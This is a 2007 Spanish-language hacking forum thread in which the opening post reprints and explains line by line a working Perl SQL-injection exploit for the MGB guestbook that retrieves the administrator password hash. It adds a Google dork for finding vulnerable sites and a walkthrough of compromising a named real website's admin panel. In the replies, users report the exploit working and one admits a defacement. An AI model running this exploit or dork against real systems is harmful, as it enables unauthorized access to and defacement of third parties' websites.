hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
15 de Octubre de 2008, 05:02:15
Noticias: ¿Quieres aprender a programar en C/C++?
Para ver este enlace Registrate o Inicia Sesion
> lee aquí

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 3 4 Ir Abajo Imprimir
Autor Tema: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX  (Leído 8912 veces)
OzX
Visitante
« : 18 de Enero de 2007, 10:53:26 »

OzX [Nuke]


Estando analizando mi pasado me di cuenta que nunca me habia tomado el tiempo de "desfacear" algunas paginas, porque realmente no me gusta, yo e sido victima de esos sucesos, pero para poder defenderse ahy que saber atacar, doy por entendido que saben algo basico de programacion, intentare explicar el codigo, aunque no sera de una forma demasiado avanzada sino solo las partes mas importantes, porque mi nivel de programacion no es muy elevada y llevo bastante poco con Perl. para hacerlo mas facil buscare un exploit en MilW0rm.

Este Tutorial Se Basara en dos Partes, en la Parte Teorica en donde se Expondra el Analisis Basico del Exploit y Otra Parte Practica en donde se llevara a Cabo Lo Aprendido.

Teoria

¿Que es Inyeccion SQL?

Inyección SQL es una vulnerabilidad informática en el nivel de base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidad es que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.


Una ves Entendido lo Basico Vamos en Busca del Exploit Para el Ejemplo.



Dando Click
Para ver este enlace Registrate o Inicia Sesion
AQUI
Pueden Observalo.

Código:
#!/usr/bin/perl
#
##########################################################
# MGB <= 0.5.4.5 Exploit
# Vulnerability found by SlimTim10
# Created By: SlimTim10
# <slimtim10@gmail.com>
##########################################################
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
##########################################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}

# milw0rm.com [2007-01-17]

De Aqui en Adelante Explicare Las Partes mas Importantes del Funcionamiento del Exploit .

Código:
#!/usr/bin/perl
Exploit Escrito en Perl

Código:
# MGB <= 0.5.4.5 Exploit
Nombre del Exploit y la Version.

Código:
# Created By: SlimTim10
Autor del Exploit

Código:
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..

Aqui se expone las lineas para buscar paginas vulnerables al Exploit.
Código:
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..

Código:
use IO::Socket::INET;
Se Dicta que se Usaran los Sockets en perl.

Código:
$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

Se declaran las Variables y los Arreglos. $dir, $host , directorio y Host.

Código:
$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
Esta es la Inyeccion SQL .

Código:
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
Se Intenta Conectar al Servediro, y se da a entender que los datos ingresados en la variable $host es la direccion, estableciendo tambien el puerto 80, con protocolo "tcp", si este no logra tener una conexion "die" [-] Fallo la Conexion: No se puede Conectar con $Host , en $host saldra la direccion web vulnerable que teclearon.

Código:
print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";
Muestra Todo el Procedimiento luego de teclear los Datos requeridos, Host y /Path/ .
Al inicio, nada mas muestra en Pantalla "Conectando", Luego intenta obtener "get" el directorio en donde se encuentra la vulnerabilidad, (recordar que es una vulnerabilidad basada en un libro de visitar), si la tecleado a sido correcto, este va a hacer conexion con dicha vulnerabilidad .

Código:
while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";
En esta parte del codigo pasa casi lo mas importante, si no se logra conectar con el servidor y con la vulnerabilidad, este fallara [-] Exploit Failed, y termina el  exploit, sino este se conectara y nos dara el hash (md5) del Administrador.

Analizando un Poco mas.

Código:
while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

Mientras ($answer = <$socket>) , siendo  $answer igual ~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;, este nos entrega el valor en la variable $var , el cual tiene el Hash md5 del Administrador.

Código:
if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

si la cadena ''/[\da-f]{32,32}/) " no esta en $var se ejecuta el código entre llaves.{}
 
Código:
{
print "[-]Exploit failed.";
exit(0);
}

Esto Significa que el Exploit Fallo.

Código:
print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

Si sale todo bien y se logra conectar en donde esta la vulnerabilidad, obtendremos el Hash en la variable $var, asi podremos ver directamente el hash.

print " Admin: Password: $var \n";
print "Admin Link: http://$host".$dir."admin.php?sid=$var\n";



Código:
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}


Este es el texto que vemos al iniciar el exploit, como podemos ver aqui nos pide el Host, y el path. y Ahy se acaba el Exploit. , la variable $0 saldra el nombre con que tenemos nombrado nuestro exploit.

Talves no sera de un nivel muy avanzado, pero sirve para darse una idea de los "clicks" que se hacen, porque esta es la idea , poder entender aunque sea poco, los exploit, esa es la magia, la intencion, es donde se diferencia realmente de un user que solo quiere joder y de otro que realmente quiere aprender, porque este talves no les funcionara un exploit a la primera, pero seguira intentando, y intentara aprender a programar, para entender dicho lenguaje y quien no, a los 3 intentos y ver q no les resulta, ira a google a buscar si existe el Hack Hotmail.

Es muy Recomendable Leer Algunos de los Siguientes Manuales de Perl, Para tener una idea de como esta escrito el exploit.


Para ver este enlace Registrate o Inicia Sesion
WIKI Perl


Para ver este enlace Registrate o Inicia Sesion
Tutorial de Lenguaje perl


Para ver este enlace Registrate o Inicia Sesion
Curso perl


Practica

Primero que nada Vamos a Guardar Nuestro Exploit con la terminacion .pl y Nos Bajamos el Interpretador Perl, Todo Esto lo Pueden Encontrar en la Revista Hack Newbie E-Zine, que se la pueden descargar desde
Para ver este enlace Registrate o Inicia Sesion
AQUI
, (solo la parte de compilacion no la revista entera).

Una Ves Entendido todo El Manual, Tendriamos que tener una pantalla como Esta.



Ahora devemos Buscar alguna web Vulnerable, Revisamos el Codigo hasta donde sale Google Dork.
Código:
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
y Buscamos en google.



Buscamos Alguna Web.



Como es una vulne de WilW0rm es facil encontrase con otra que web que ya fue visita por otros users que explotaron la misma vulnerabilidad

Ahora ingresamos a la web, y nos lanza a este sitio.

Código:
http://www.schiessgruppe.de/gb/onlinehilfe/

Si leimos algo Sobre MGB es un Libro de Visitas o GuestBook, Ahora intentamos ver si esta en ese mismo directorio.



Y Tenemos Suerte, si esta en el mismo directorio, Guestbook.php



Ahora volvemos el Exploit y Seguimos Los requisitos que nos pide y lo ejecutamos,


Si Sale Todo Bien Nos Dara el Hash

Código:
http://www.schiessgruppe.de/gb/admin.php?sid=80d14739e0519dcd55602202736abbf3
vamos a obtener el hash en la variable $var, ahora podemos copiar la direccion y copiarla en nuestro navegador.

Luego entramos al panel de Control y Podemos ver todas las opciones que nos da.




Video Tutorial :
Para ver este enlace Registrate o Inicia Sesion
Descargar VideoTuto


Para ver este enlace Registrate o Inicia Sesion
Mirror Descarga Video Tuto



Prohibida la Reproduccion Total o Parcial de Este Tutorial, Si desean que este en otro Foro, Porfavor perdime a Mi por Privado y Yo Encantado Expondre el Tuto en Su Foro o En Donde Quieran. Con los Tutoriales Pasados e Tenido Muchos Problemas, y Prefiero que Mejor sea de Esta Forma.


Saludos¡ OzX [NuKe], Newbytes.info ¡ Pronto Online ¡


Pd: Si me equivoque en Algo en cuanto a los Codigos, o alguien que tenga conocimiento mas avanzados desea hacer un analisis mas detallado , pero entendible, a newbies, Porfavor Avisar . Thanx¡


« Última modificación: 18 de Enero de 2007, 11:14:39 por OzX » En línea
HolyKnight
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,292


www.hackerxsiempre.com.ar


Ver Perfil WWW
« Respuesta #1 : 18 de Enero de 2007, 11:11:38 »

Ozx me encanto la verdad que es un manual muy completo ya que te explica cada una de las partes del exploit.


mereces un aplauso veo muchos manuales tuyos en este foro y en verdad todos son muy completos!!!!
Suerte cool kool cool kool cool kool cool kool cool cool kool cool kool cool kool kool cool kool cool kool
En línea

Holyknight informa que no habrá ningun tipo de tolerancia frente a los post que incumplan las reglas

Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
Se Buscan escritores para la Nueva E-Zine de Hacker x Siempre


Para ver este enlace Registrate o Inicia Sesion
Aprende a programar en batch
---
Para ver este enlace Registrate o Inicia Sesion
Descarga el Day of Defeat Full
---
Para ver este enlace Registrate o Inicia Sesion
FAQ de Batch


"El amor auténtico, el amor ideal, el amor del alma, es el que sólo desea la felicidad de la persona amada sin exigirle en pago nuestra propia felicidad."
"Un hombre de noble corazón irá muy lejos, guiado por la palabra gentil de una mujer."
OzX
Visitante
« Respuesta #2 : 18 de Enero de 2007, 11:14:55 »

se agrego video tuto XD¡
En línea
DarkAngel
Colaborador
****
Desconectado Desconectado

Mensajes: 607



Ver Perfil
« Respuesta #3 : 18 de Enero de 2007, 11:50:55 »

esta bonito, me aprece bueno para los que recien comiensan , pero esta muy simple. salu2
En línea


knowledge is power...
OzX
Visitante
« Respuesta #4 : 19 de Enero de 2007, 09:09:37 »

esta bonito, me aprece bueno para los que recien comiensan , pero esta muy simple. salu2

Citar
intentare explicar el codigo, aunque no sera de una forma demasiado avanzada sino solo las partes mas importantes

Cheesy
En línea
over_hk
Recien llegado
*
Desconectado Desconectado

Mensajes: 7


Ver Perfil
« Respuesta #5 : 19 de Enero de 2007, 02:18:22 »

VUELTA AL FORO DESPUES DE MUUUUUCHO TIEMPO!!!


Bueno ya sabes precisamente lo que pienso  jejeje


$41U2
En línea
HolyKnight
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,292


www.hackerxsiempre.com.ar


Ver Perfil WWW
« Respuesta #6 : 24 de Enero de 2007, 12:35:32 »

Lo probe ozx y funciono, pense q esta vurne ya estaba parchada.

Que siguas haciendo manuales asi de completos y explicativos.


GRACIAS!!!


Suerte!!  cool kool  cool kool
« Última modificación: 13 de Noviembre de 2007, 05:52:16 por HolyKnight » En línea

Holyknight informa que no habrá ningun tipo de tolerancia frente a los post que incumplan las reglas

Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
Se Buscan escritores para la Nueva E-Zine de Hacker x Siempre


Para ver este enlace Registrate o Inicia Sesion
Aprende a programar en batch
---
Para ver este enlace Registrate o Inicia Sesion
Descarga el Day of Defeat Full
---
Para ver este enlace Registrate o Inicia Sesion
FAQ de Batch


"El amor auténtico, el amor ideal, el amor del alma, es el que sólo desea la felicidad de la persona amada sin exigirle en pago nuestra propia felicidad."
"Un hombre de noble corazón irá muy lejos, guiado por la palabra gentil de una mujer."
OzX
Visitante
« Respuesta #7 : 24 de Enero de 2007, 09:48:42 »

Cheesy q bueno Cheesy
En línea
Nemant
NZ2
**
Desconectado Desconectado

Mensajes: 113



Ver Perfil
« Respuesta #8 : 27 de Enero de 2007, 10:53:26 »

este tutorial me ha parecido magnifico, hasta yo he aconseguido hacer un defacing por primera vez (solo para provar eh! xD luego notifique al admin haciendome pasar por otra persona xD) la proxima vez podrias hacer un tuto sobre remote file inclusion y otras cosas por el estilo? espero leer mas de estos tutos k son muy buenos.


PD: No olvidemos la etica hacker.
En línea

Islam != Terrorism
FIRMA EDITADA POR TXS POR SOBREPASAR TAMAÑO PERMITIDO
codebreak
NZ1
*
Desconectado Desconectado

Mensajes: 63



Ver Perfil WWW
« Respuesta #9 : 29 de Enero de 2007, 08:02:53 »

Muy bueno.  cool

Pero mas que hacer el análisis de la ejecución de exploits existentes, seria interesante ver un manual en el que se explique y analice alguna aplicacion web y a base de ella, de las tablas mysql y del código, mostrar como se pueden crear inyecciones para que muestren los datos que deseemos, en el contexto de la aplicacion web.

No se si me explico ajajaj.
Aunque es interesante ver tutoriales de la aplicacion de exploits en inyecciones SQL, no se aprende lo mismo que fabricando la inyección en si desde cero y quizás, a partir de ella, el exploit.

Excelente aporte en todo caso.

Saludos!
En línea



Para ver este enlace Registrate o Inicia Sesion
www.codebreak. tk
W4ck1ng Team Member[/center]
OzX
Visitante
« Respuesta #10 : 29 de Enero de 2007, 08:49:21 »

toda la razon, en cuanto e crear el sql desde 0, estoy trabajado en akello, pero no es facil entender el sqla la perfeccion XD¡ , saludos code¡
En línea
codebreak
NZ1
*
Desconectado Desconectado

Mensajes: 63



Ver Perfil WWW
« Respuesta #11 : 29 de Enero de 2007, 09:19:03 »

toda la razon, en cuanto e crear el sql desde 0, estoy trabajado en akello, pero no es facil entender el sqla la perfeccion XD¡ , saludos code¡


Si quieres hacemos el tutorial en conjunto.
Publique un sql injection en milw0rm.com, debe estar a punto de ser publicado.

Contiene una injeccion SQL y un script que trabaja con un poco de criptografía.

Podriamos analizar dicha aplicacion y desde ahi hacer un muy buen tutorial.

Saludos!

PS: Postula como moderador del foro de Elantro Cheesy
En línea



Para ver este enlace Registrate o Inicia Sesion
www.codebreak. tk
W4ck1ng Team Member[/center]
OzX
Visitante
« Respuesta #12 : 30 de Enero de 2007, 07:53:39 »

jawjawjwjjawja jwjaw XD¡ esta en caida el antro.. mas que intento nunca hacen algo bueno el unico pescaodeath que ahy salva y uno q otro.. XD¡

me gusta bastante la idea... ve tu IM Cheesy saludos¡
En línea
you_know
NZ2
**
Desconectado Desconectado

Mensajes: 163


...


Ver Perfil WWW
« Respuesta #13 : 27 de Febrero de 2007, 01:52:29 »

logro entrar al panel de control pero no me da las opciones de configurar la pajina ocea me aparece en blanco
En línea


Para ver este enlace Registrate o Inicia Sesion

User at Milw0rm
OzX
Visitante
« Respuesta #14 : 27 de Febrero de 2007, 04:38:49 »

ve bien.
En línea
Páginas: [1] 2 3 4 Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online